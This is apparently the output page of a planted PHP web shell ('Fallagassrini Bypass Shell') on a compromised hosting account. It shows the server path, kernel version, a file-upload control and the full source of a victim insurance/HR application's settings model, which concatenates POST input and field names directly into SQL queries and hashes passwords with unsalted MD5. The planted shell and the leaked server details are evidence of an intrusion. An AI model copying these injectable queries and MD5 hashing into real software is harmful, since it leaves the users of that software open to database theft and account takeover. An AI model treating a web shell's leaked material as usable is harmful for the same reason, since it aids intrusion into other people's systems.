? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/models/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/drafthr/system/application/models/settingsmodel.php

<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');?>
<?php
/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
 class settingsmodel extends Model
{
    function settingsmodel()
    {
        parent::Model();
        $this->load->model('mastermodel');
        $this->load->model('customermodel');
         $this->load->model('accountingsmodel');
    }


function AddReminder()
        {
          $name=$this->input->post('remname');
          $date=$this->input->post('remdt');
          $description=$this->input->post('desc');
          $before=$this->input->post('numbef');
          $userid=$_SESSION['userid'];
          $tblValues=array('remind_name'=>$name,'remind_date'=>$date,'beforedt'=>$before,'description'=>$description,'userid'=>$userid);
          $data=$this->db->insert('reminder', $tblValues);
          return $data;
        }

    function GetReminder($pageno,$field,$value="")
        {

            $limit=(($pageno-1) * 10);
            $data=array();
            $curdate=date('Y-m-d');
            
            $sql="select * from reminder where userid =".$_SESSION['userid']." and ". $field . " like '". $value . "%' and remind_date >='$curdate' limit " . $limit .",". 10 ;
            
            $res=$this->db->query($sql);
            foreach ($res->result_array() as $row)
                 {
                     $data[] = $row;
                 }
            return $data;
        }

    function Getschedule($pageno,$field,$value="")
        {
   
            $limit=(($pageno-1) * 10);        
            $data=array();
            $res=$this->db->query("select * from activities where ". $field . " like '". $value . "%'  limit " . $limit .",". 10 );
            foreach ($res->result_array() as $row)
             {
                 $data[] = $row;
             }
            return $data;
        }

         function searchschedule($pageno,$where)
        {

            $limit=(($pageno-1) * 10);
            $data=array();


            $que="SELECT
    activities.amount
    , activities.beforedt
    , IFNULL(customer_corp_info.insured, customer_personal_ind.insured) as CustomerName
    , covers.cover
    , activities.date
    , activities.policy_id
    , activities.id
    ,policynote.policyno
FROM
    customers
    LEFT JOIN customer_corp_info
        ON (customer_corp_info.customer_id = customers.id)
    LEFT JOIN customer_personal_ind
        ON (customer_personal_ind.customer_id = customers.id)
    INNER JOIN broking_slip
        ON (broking_slip.customer_id = customers.id)
    INNER JOIN covers
        ON (broking_slip.cover_id = covers.id)
    INNER JOIN policynote
        ON (policynote.quotation_ref = broking_slip.quotation_ref)
    INNER JOIN activities
        ON(policynote.id=activities.policy_id) $where  limit " . $limit .",". 10 ;
           // echo $que;

            $res=$this->db->query($que);

            
        
            $data=$res->result_array();
            return $data;
        }

            
    function count_allsche($table,$where)
        {
        $que="SELECT
      activities.amount
    , activities.beforedt
    , IFNULL(customer_corp_info.insured, customer_personal_ind.insured) as CustomerName
    , covers.cover
    , activities.date
    , activities.policy_id
    , activities.id
    ,policynote.policyno
FROM
    customers
    LEFT JOIN customer_corp_info
        ON (customer_corp_info.customer_id = customers.id)
    LEFT JOIN customer_personal_ind
        ON (customer_personal_ind.customer_id = customers.id)
    INNER JOIN broking_slip
        ON (broking_slip.customer_id = customers.id)
    INNER JOIN covers
        ON (broking_slip.cover_id = covers.id)
    INNER JOIN policynote
        ON (policynote.quotation_ref = broking_slip.quotation_ref)
    INNER JOIN activities
        ON(policynote.id=activities.policy_id) $where " ;
           // echo $que;

            $res=$this->db->query($que);
            $data=$res->num_rows();
           // echo $data;
            return $data;

       }

    function Getevents($pageno,$field,$value="")
        {

            $limit=(($pageno-1) * 10);
            $data=array();
            $qry="SELECT * from events where  userid =".$_SESSION['userid']." and ". $field . " like '". $value . "%'  limit " . $limit .",10" ;
            
           $res=$this->db->query($qry);

            return $res->result_array();
        }
    function Get_editreminder_data($id)
        {
            $res=$this->db->query("select * from reminder where id='" . $id . "'");
            $result= $res->row();
            return $res;
        }

   function Get_editschedule($id)
        {
            $res=$this->db->query("select * from activities where id='" . $id . "'");
            $result= $res->row();
            return $res;
        }
    function Get_activity_data($id)
        {
            $res=$this->db->query("select * from events where id='" . $id . "'");
            $result= $res->row();
            return $res;
        }
    function count_alls($table,$field,$value="")
        {
            $res=$this->db->query("select * from ".$table." where ". $field . " like '". $value . "%'" );
            return $res->num_rows();
       }

    function updatereminder()
            {
              $name=$this->input->post('remname');
              $date=$this->input->post('remdt');
              $descp=$this->input->post('desc');
              $before=$this->input->post('numbef');
              $id=$this->input->post('id');
              $res=$this->db->query("update reminder set remind_name='" . $name . "',remind_date='" . $date. "',beforedt='" .$before. "',description='" . $descp . "' where id='" . $id . "'");
            }

     function updateschedule()
            {
           
              $date=$this->input->post('date');
              $amount=$this->input->post('amount');
               $before=$this->input->post('before');
              $pid=$this->input->post('pid');
              $id=$this->input->post('id');
              $res=$this->db->query("update activities set policy_id='" . $pid. "',date='" .$date. "',amount='" . $amount ."',beforedt='" . $before . "' where id='" . $id . "'");
            }

     function updateevents()
            {
              $eventname=$this->input->post('eventname');
              $description=$this->input->post('description');
              $location=$this->input->post('location');
              $status=$this->input->post('status');
               $before=$this->input->post('before');
             
              $priority=$this->input->post('priority');
              $startdate=$this->input->post('startdate');
              $enddate=$this->input->post('enddate');
              $id=$this->input->post('id');
               $remark=$this->input->post('remark');
              $res=$this->db->query("update events set eventname='" . $eventname . "',alert='" . $before . "',description='" .$description. "',location='" .$location. "',status='" . $status . "',priority='" .$priority. "',startdate='" . $startdate ."',enddate='".$enddate."',remark='".$remark. "' where id='" . $id . "'");
            }
     function getmaxminlist($currentpage,$noofpages,$nooflists)
           {

              $this->load->library('Fpaginate');
              $data['listnos']=$this->fpaginate->paginate($currentpage,$noofpages,$nooflists);
              return $data;
           }
     function deletereminder($table,$id)
            {

            $res=$this->db->delete($table,array('id'=> $id));
            if($res>0)
               {
                   return 1;
               }
             else
                {
                    return 0;
                }


             }
     function Addschedule()
        {
        
          
          $date=$this->input->post('date');
           $before=$this->input->post('before');
          $amount=$this->input->post('amount');
          $pid=$this->input->post('pid');
          $tblValues=array('policy_id'=>$pid,'date'=>$date,'beforedt'=>$before,'amount'=>$amount);
          $data=$this->db->insert('activities', $tblValues);
          return $data;
        }

     function Addevents()
        {

          $eventname=$this->input->post('eventname');
          $description=$this->input->post('description');
          $location=$this->input->post('location');
          $status=$this->input->post('status');
          $asign=$this->input->post('asign');
          $priority=$this->input->post('priority');
          $startdate=$this->input->post('startdate');
          $enddate=$this->input->post('enddate');
          $remark=$this->input->post('remark');
          $before=$this->input->post('before');
          $userid=$_SESSION['userid'];
          $tblValues=array('eventname'=>$eventname,'description'=>$description,'location'=>$location,'status'=>$status,'userid'=>$userid,'priority'=>$priority,'startdate'=>$startdate,'enddate'=>$enddate,'alert'=>$before,'remark'=>$remark);
          $data=$this->db->insert('events', $tblValues);
          return $data;
        }

    
    function buildMenu($moduleid)
    {
	$user_id=$_SESSION['userid'];
	$data = array();
        $Q= $this->db->query("select * from menu where module_id='" . $moduleid ."' order by sort");
        $P=$this->db->query("select permission from users where id='" . $user_id ."'");
	$result= $P->row();
	$permission=explode(',',$result->permission);

         if ($Q->num_rows() > 0)
         {
             foreach ($Q->result_array() as $row)
             {
		if(in_array($row['menu_id'],$permission))
		{
		    $data[]=$row;
		}
             }
         }
        $Q->free_result();
        return $data;
    }
    
    function permissionList()
    {
       
        $permission=array();
        $user_id=$_SESSION['userid'];
	$P=$this->db->query("select permission from users where id='" . $user_id ."'");
	$result= $P->row();
	$permission=explode(',',$result->permission);
        return $permission;
    }
    
    function buildModule()
    {
	$flag=0;
        $homemodel=0;
	$data = array();
	$P=$this->db->query("select permission from users where id='" . $_SESSION['userid'] ."'");
	$result= $P->row();
	$permission=explode(',',$result->permission);
	
	
        $Q= $this->db->query("select * from modules order by sort");
	if ($Q->num_rows() > 0)
        {
	    foreach($Q->result_array() as $row)
	    {
		$R= $this->db->query("select * from menu where module_id='" . $row['module_id'] ."'");
		foreach($R->result_array() as $menu)
		{
		    if(in_array($menu['menu_id'],$permission))
		    {
			$flag=1;
		    }
		}
                if($homemodel==0)
                {
                    $data[]=$row;
                    $homemodel=1;
                }
		if($flag==1)
		{
		    $data[]=$row;
		    $flag=0;
		}
		else
		{
		    $flag=0;
		}
	    }
	}
        $Q->free_result();
        return $data;
    }
    
    
    
    
    
    function insertrolemodel()
    {
        $role=$this->input->post('txtrolename');
	$permission=$this->input->post('Chk_Permission');
        $read_permission=$this->input->post('combine');
         $privatepermission=$this->input->post('private');
         $privatepermission=array_filter($privatepermission);
         $private=implode(',',$privatepermission);
        $read_permission=array_filter($read_permission);
        
        $overall=implode(',',$read_permission);
	$allowed=implode(',',$permission);
        $res=$this->db->query("select * from user_roles where name= '$role'");
        $count= $res->num_rows();
        if($count==0)
	{
	    $tblValues=array('name'=>$role,'permission'=>$allowed,'edit_del_permission'=>$overall,'private'=>$private);
	    $this->db->insert('user_roles', $tblValues);
	    echo "Role Inserted Sucessfully";
	}
	else
	{
	    echo "Profile Name Already Exist";
	}
    }


    function getrolelist()
    {
        $data=array();
        $result=$this->db->query("select id,name from user_roles");
        foreach ($result->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }
    
    function getSingleFieldValue($table,$field,$condition,$value)
       {
           //echo "select ". $field. " from ". $table . " where ". $condition . "='". $value ."'";
	   $data=$this->db->query("select ". $field. " from ". $table . " where ". $condition . "='". $value ."'");
	   $result= $data->row();
	   if($result)
	   {
	      return $result->$field;
	   }
	   else
	   {
	      return "";
	   }
       }
    
    function getstafflist()
    {
        $data=array();
        $result=$this->db->query("select * from staffpersonaldetails");
        foreach ($result->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }
    
    function ListUsersModel()
    {
	$data=array();
        $result=$this->db->query("select * from users");
        foreach ($result->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }
    
    function ListUsersSearchModel($searchoption,$value="")
    {
	$data=array();
	$tablefield=explode("~",$searchoption);
	if($tablefield[0]=='users')
	{
	    $result=$this->db->query("select * from users where username like'$value%'");
	}
	else
	{
           $result=$this->db->query("select * from users inner join staffpersonaldetails on staffpersonaldetails.id = users.staff_id where staffpersonaldetails.name like'$value%'");
	}
	
	foreach ($result->result_array() as $row)
	    {
		$data[] = $row;
	    }
        return $data;
    }
    
    function getSingleField($table,$field,$condition,$value)
    {
	//echo "select ". $field. " from ". $table . " where ". $condition . "='". $value ."'";
	$data=$this->db->query("select ". $field. " from ". $table . " where ". $condition . "='". $value ."'");
	$result= $data->row();
	if($result)
	{
	   return $result->$field;
	}
	else
	{
	   return "";
	}
    }

    
    function GetSingleUserModel($id)
    {
	$data=array();
        
        $result=$this->db->query("select * from users where id='" . $id . "'");
	$data=$result->row();
        return $data;
    }
    
    
    function GetSingleRoleModel($id)
    {
	$data=array();
        $result=$this->db->query("select * from user_roles where id='" . $id . "'");
	$data=$result->row();
        return $data;
    }
    
    
    function GetSingleRoleByUserIdModel($id)
    {
	$data=array();
        $result=$this->db->query("select * from users where id='" . $id . "'");
	$data=$result->row();
        return $data;
    }
    
    
    
    function InsertUsersModel()
    {
	$username=$this->input->post('uname');
        $password = $this->input->post('pword');
        $repassword = $this->input->post('repassword');
        $password=md5($password);
        $repassword=md5($repassword);
	$role=$this->input->post('role');
        $staffid=$this->input->post('EmpId');
	
	$permission = $this->input->post('Chk_Permission');
         $read_permission=$this->input->post('combine');
          $privatepermission=$this->input->post('private');
         $privatepermission=array_filter($privatepermission);
         $private=implode(',',$privatepermission);
        $read_permission=array_filter($read_permission);

        $overall=implode(',',$read_permission);
        $commaseperated=implode(',',$permission);

	
        $res=$this->db->query("select * from users where username= '$username'");
        $count= $res->num_rows();  
        if($count==0)
            {
                if($username!="" && $password!=""  && $repassword==$password  && $role!="" && $staffid!="")
                {
                    $tblValues=array('username'=>$username,'password'=>$password,'role_id'=>$role,'staff_id'=>$staffid,'permission'=>$commaseperated,'edit_del_permission'=>$overall,'private'=>$private);
                    $this->db->insert('users', $tblValues);
                    echo "Insert Successfully";
                }
                else {
                    echo "fill all the fields";
                }
            }
	else
        {
         echo "User name already exists";
        }
    }
    
    function UpdateUsersModel()
    {
	$oldpassword=$this->input->post('oldpassword');
	$uid=$this->input->post('uid');
	$username=$this->input->post('uname');
	$role=$this->input->post('role');
	$staffid=$this->input->post('EmpId');
        $permission = $this->input->post('Chk_Permission');
         $read_permission=$this->input->post('combine');
           $privatepermission=$this->input->post('private');
         $privatepermission=array_filter($privatepermission);
         $private=implode(',',$privatepermission);
        $read_permission=array_filter($read_permission);

        $overall=implode(',',$read_permission);
        $commaseperated=implode(',',$permission);
        $tblValues=array('username'=>$username,'role_id'=>$role,'staff_id'=>$staffid,'permission'=>$commaseperated,'edit_del_permission'=>$overall,'private'=>$private);
        $this->db->where('id',$uid);
        $this->db->update('users', $tblValues);
        echo "Updated Sucessfully";
    }
    
    function change_Pass_Model($uid,$oldpass,$newpass)
    {

        $oldpass=md5($oldpass);
        $newpass=md5($newpass);
        if($this->getSingleFieldValue('users','password','id',$uid)==$oldpass)
	{
	    $tblValues=array('password'=>$newpass);
	    $this->db->where('id',$uid);
	    $this->db->update('users', $tblValues);
	    echo "Password Changed Sucessfully";
	}
	else
	{
	    echo "Invalide Password";
	}
    }

    function change_Pass_Without_old_Model($uid,$newpass)
    {
        $newpass=md5($newpass);
        $tblValues=array('password'=>$newpass);
        $this->db->where('id',$uid);
        $this->db->update('users', $tblValues);
        echo "Password Changed Sucessfully";
    }
    
    
    function UpdateRoleModel()
    {
	
	$roleid=$this->input->post('editRoleId');
	$permission=$this->input->post('Chk_Permission');
         $read_permission=$this->input->post('combine');
         $privatepermission=$this->input->post('private');
         $privatepermission=array_filter($privatepermission);
         $private=implode(',',$privatepermission);

       $read_permission=array_filter($read_permission);
       
        
        $overall=implode(',',$read_permission);
	$allowed=implode(',',$permission);
        $tblValues=array('permission'=>$allowed,'edit_del_permission'=>$overall,'private'=>$private);
	$this->db->where('id',$roleid);
	$this->db->update('user_roles', $tblValues);
         $tblValues_u=array('permission'=>$allowed,'edit_del_permission'=>$overall,'private'=>$private);
         $this->db->where('role_id',$roleid);
         $this->db->update('users', $tblValues_u);

	echo "Updated Sucessfully";
    }
    
    
    
    
    
    function delete_user_model($id)
    {
	$this->db->query("delete from users where id='" . $id . "'");
    }
    
    function delete_role_model($id)
    {
        $res=$this->db->query("select * from users where role_id= '$id '");
        $count= $res->num_rows();
        if($count==0)
        {
            $this->db->query("delete from user_roles where id='" . $id . "'");
           
        }
       
    }
    
    
    
    
    
    
    
    
    function ListRolesModel()
    {
	$data=array();
        $result=$this->db->query("select * from user_roles");
        foreach ($result->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }
    
    
    function SearchRolesModel($value)
    {
	$data=array();
        $qry="select id from designation where designation like'$value%'";
        $result=$this->db->query("select * from user_roles where name in ($qry)");
        foreach ($result->result_array() as $row)
        {
            $data[] = $row;
        }
        return $data;
    }
    
    


	 function GetCurrency($pageno,$field,$value="")
        {

            $limit=(($pageno-1) * 10);
            $data=array();
            $res=$this->db->query("select * from country where ". $field . " like '". $value . "%' limit " . $limit .",". 10 );
            foreach ($res->result_array() as $row)
                 {
                     $data[] = $row;
                 }
            return $data;
        }
     function GetCurrencyId()
     {
            $res=$this->db->query("select * from default_currency" );
            return $res;
     }
    function updatecurrency($id)
      {

            $res=$this->db->query("select * from default_currency" );
            $count=$res->num_rows();
            if ($count==0)
            {
            $this->db->query("insert into default_currency values ('$id')");
            }
            else
                {
                 $this->db->query("update default_currency set currency_id='$id'");
            }
        
      }
    function Getuserlist()
      {
        
        $this->db->query("select * from users");
        return $this;
      }
            function profileget($eid)
            {
              //echo "SELECT u.id FROM user_roles u join designation d on u.name=d.id join staffemployeedetails s on s.designationid=d.id where s.staffid=$eid";
                $res=$this->db->query("SELECT u.id FROM user_roles u join designation d on u.name=d.id join staffemployeedetails s on s.designationid=d.id where s.staffid=$eid");
                $data=$result->row();
                return $res;
               
             }

               function GetRolefromCid($id)
    {
	$data=array();
       

        $result=$this->db->query("select * from user_roles where name='" . $id . "'");
	$data=$result->row();
        return $data;
    }


    function Getfiscal($pageno,$field,$value="")
        {

            $limit=(($pageno-1) * 10);
            $data=array();
            $qry="SELECT * from fiscal_year where ". $field . " like '". $value . "%'  limit " . $limit .",10" ;
           
           $res=$this->db->query($qry);

            return $res->result_array();
        }
          function Addfiscal()
        {


          $startdate=$this->input->post('startdate');
          $enddate=$this->input->post('enddate');
            $close=$this->input->post('close');
           $startdate = $this->mastermodel->convdatformat($startdate);
            $enddate = $this->mastermodel->convdatformat($enddate);

          $tblValues=array('begin'=>$startdate,'end'=>$enddate,'closed'=>$close);
          $data=$this->db->insert('fiscal_year', $tblValues);
          return $data;
        }

           function updatefiscal()
        {



         
          $this->db->trans_begin();
          
          $close=$this->input->post('close');
          $id=$this->input->post('id');
          $tdate=date('Y-m-d');

          if($close==1)
          {


           $tblValues2=array('closed'=>$close);
           $this->db->where('id', $id);
           $this->db->update('fiscal_year', $tblValues2);

           $incomeamt=$this->profitlosscalc('Income',$id);
           $expenseamt=$this->profitlosscalc('Expense',$id);

           if($incomeamt>0)
           {
               $incomeamt=0-$incomeamt;
           }
           else
           {
               $incomeamt=abs($incomeamt);
           }

           if($expenseamt<0)
           {
               $expenseamt=0-$expenseamt;
           }
           else
           {
              $expenseamt=abs($expenseamt) ;
           }

           $pfloss=$incomeamt-$expenseamt;

             $fyear=$this->accountingsmodel->fiscalyear();

             $this->db->select('*');
             $this->db->from('fiscal_year');
             $this->db->where('id',$fyear);
             $bg=  $this->db->get();
             $end=$bg->row()->end_date;

            $query="CREATE TEMPORARY TABLE IF NOT EXISTS tempgl (`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
                `type_no` INT NOT NULL, `tran_date` DATE NOT NULL, `account` VARCHAR(10) NOT NULL,
                `memo` TINYTEXT NOT NULL, `amount` DOUBLE NOT NULL) ENGINE = MyISAM";
            $this->db->query($query);


            $query="insert into tempgl (tran_date,account,memo,amount) SELECT '$end' as tran_date,account,'Opening Balance' as memo,sum(amount) FROM `gl_trans`
                join audit_trail on audit_trail.trans_no=gl_trans.type_no join chart_master cm on cm.account_code=account  where fiscal_year='$id' and (cm.chart_type='1' or cm.chart_type='2') group by account";

            $this->db->query($query);


            $query="CREATE TEMPORARY TABLE  IF NOT EXISTS tempbankgl (`id` INT NOT NULL AUTO_INCREMENT PRIMARY KEY,
                `trans_no` INT NOT NULL,`bank_act` INT NOT NULL,`trans_date` DATE NOT NULL,
                 `amount` DOUBLE NOT NULL) ENGINE = MyISAM";
            $this->db->query($query);


            $query="insert into tempbankgl (bank_act,trans_date,amount) SELECT bank_act,'$end' as trans_date,sum(amount) FROM `bank_trans`
                join audit_trail on audit_trail.trans_no=bank_trans.trans_no where fiscal_year='$id' group by bank_act";
            $this->db->query($query);


            $query="delete bank_trans from bank_trans join audit_trail on audit_trail.trans_no=bank_trans.trans_no where fiscal_year='$id'" ;
            $this->db->query($query);

            $query="delete gl_trans from gl_trans join audit_trail on audit_trail.trans_no=gl_trans.type_no where fiscal_year='$id'" ;
            $this->db->query($query);

            $query="delete refs from refs join audit_trail on audit_trail.trans_no=refs.id  where fiscal_year='$id'" ;
            $this->db->query($query);


            $query="delete customer_trans from customer_trans join audit_trail on audit_trail.trans_no=customer_trans.type_no  where fiscal_year='$id'";
            $this->db->query($query);

            $query="delete cust_allocate from cust_allocate join audit_trail on audit_trail.trans_no=cust_allocate.from  where fiscal_year='$id'";
            $this->db->query($query);

            
            $query="delete company_trans from company_trans join audit_trail on audit_trail.trans_no=company_trans.type_no  where fiscal_year='$id'";
            $this->db->query($query);

            $query="delete company_allocate from company_allocate join audit_trail on audit_trail.trans_no=company_allocate.from  where fiscal_year='$id'";
            $this->db->query($query);

             $query="delete agent_trans from agent_trans join audit_trail on audit_trail.trans_no=agent_trans.type_no  where fiscal_year='$id'";
            $this->db->query($query);

            $query="delete agent_allocate from agent_allocate join audit_trail on audit_trail.trans_no=agent_allocate.from  where fiscal_year='$id'";
            $this->db->query($query);

             

            $this->deletetabledata('audit_trail','fiscal_year', $id);


            $trans_type=3;
            $tra_cod= $this->customermodel->getSingleFieldValue('transaction_code','code','trans',3);

            $next_ref= $this->accountingsmodel->get_reference_code(3);
            $refcode=$tra_cod.'/'.date('Y').'/'.$next_ref;

             $insertvals=array('type'=>$trans_type,'reference'=>$refcode); // inserting values to refs table
             $this->db->insert('refs',$insertvals);
             $ref_id=$this->db->insert_id() ;

              
                                    $insValuesA=array(
                                                      'trans_no'=>$ref_id,
                                                      'user'=>$_SESSION['userid'],
                                                      'date_trans'=>$tdate,

                                                      'fiscal_year'=>$fyear,
                                                      'gl_date'=>$tdate

                                      );
         $this->db->insert('audit_trail', $insValuesA);

        


        $query="insert into gl_trans (type_no,tran_date,account,memo,amount) SELECT '$ref_id',tran_date,account,memo,amount FROM `tempgl`";

        $this->db->query($query);

        $query="insert into bank_trans (trans_no,bank_act,ref,trans_date,amount) SELECT '$ref_id',bank_act,'$refcode',trans_date,amount FROM `tempbankgl`";

        $this->db->query($query);



         $accsett=$this->accountingsmodel->Getsubacc_settings();

         $profitloss1=$accsett->row()->profitloss;
         $profitloss= $this->customermodel->getSingleFieldValue('chart_master','account_code','id',$profitloss1);

         $tblValues=array('type_no'=>$ref_id,'tran_date'=>$tdate,'account'=>$profitloss,'memo'=>'Closing Balance','amount'=>-$pfloss);

         $str= $this->db->insert('gl_trans', $tblValues);

      

       $this->db->query("truncate table tempbankgl");
        $this->db->query("truncate table tempgl");

                             

          }


          
           if ($this->db->trans_status() === FALSE)
	  {
            $this->db->trans_rollback();
	    return 0;
	  }
	  else
	  {
            $this->db->trans_commit();

	    return 1;
	  }


          
        }
         function profitlosscalc($type,$fid)
          {
              $this->db->select('sum(gl_trans.amount) as amount');
              $this->db->from('chart_master');
              $this->db->join('gl_trans','chart_master.account_code = gl_trans.account');
            
              $this->db->join('char_type','char_type.id = chart_master.chart_type');
              $this->db->join('audit_trail','audit_trail.trans_no=gl_trans.type_no');
              $this->db->where('char_type.chart_types',$type);
              $this->db->where('audit_trail.fiscal_year',$fid);
              $bg=  $this->db->get();
              $amt=$bg->row()->amount;
              return $amt;

          }

      function  validatefiscaldate($sdate,$enddate)
        {

     
      
          $sdate = $this->mastermodel->convdatformat($sdate);
          $enddate = $this->mastermodel->convdatformat($enddate);
         
         // $qry="select * from fiscal_year where  begin between '$sdate'  and  '$enddate' or end  between '$sdate'  and  '$enddate'";
          $qry="select * from fiscal_year where  end >= '$sdate'  ";
          
          $res=$this->db->query($qry);
          $data=$res->num_rows();
          echo $data;

//          $s_date=explode('-', $sdate);
//          $limit_1= $s_date[2].'-01-01';
//          $limit_2= $s_date[2].'-12-31';
//          $sdate = $this->mastermodel->convdatformat($sdate);
//          $qry="select * from fiscal_year where begin between '".$limit_1."' and '".$limit_2."'";
//          $res=$this->db->query($qry);
//          $data=$res->num_rows();
//          echo $data;
        }

      function Get_fiscal_data($id)
        {
            $res=$this->db->query("select * from fiscal_year where id='" . $id . "'");
           // $result= $res->row();
            return $res;
        }

     function deletefyear($table,$id)
        {
      
           $res=$this->db->query("select * from fiscal_year where id<'" . $id . "'");
             $data=$res->num_rows();
            if($data==0)
            {
               $back=$this->db->query("delete from fiscal_year where id='" . $id . "'");
                echo $back;
            }
            else
            {
            echo 0;
            }

        

        

        }
        function Getmainacc_settings($what)
        {


            $data=array();

            $res=$this->db->query("select * from mainacc_setting");
            if($what=='data')
            {
            return $res;
            }
            else
            {
                return $res->num_rows();
            }
        }

          function add_mainacc_settings()
        {

          $commission=$this->input->post('commission');
          $cstart=$this->input->post('covercode');

          $tblValues=array('commission_pay_acc'=>$commission,'cover_start'=>$cstart);
     
          $data=$this->db->insert('mainacc_setting', $tblValues);
          return $data;
        }
          function updatemainacc_settings()
        {

          $commission=$this->input->post('commission');
          $cstart=$this->input->post('covercode');
          $id=$this->input->post('id');

            $tblValues=array('commission_pay_acc'=>$commission,'cover_start'=>$cstart);

            $this->db->where('id', $id);
            $res= $this->db->update('mainacc_setting', $tblValues);
            return $res;
        }

        function deletetabledata($table,$field,$id)
     {


          $this->db->where($field,$id);
          $this->db->delete($table);
     }

     function chekunpostedtransaction()
     {
            $data=array();

            $qry="SELECT count(*) as count  FROM unposted_pay_dep  where unpost =0";
            $res=$this->db->query($qry);
            $data=$res->row()->count ;
            if($data==0)
            {
            $qry="SELECT count(*) as count  FROM unposted_journal  where unpost =0";
            $res=$this->db->query($qry);
            $data=$res->row()->count ;
            }
            
            return $data;
     }

 }




?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net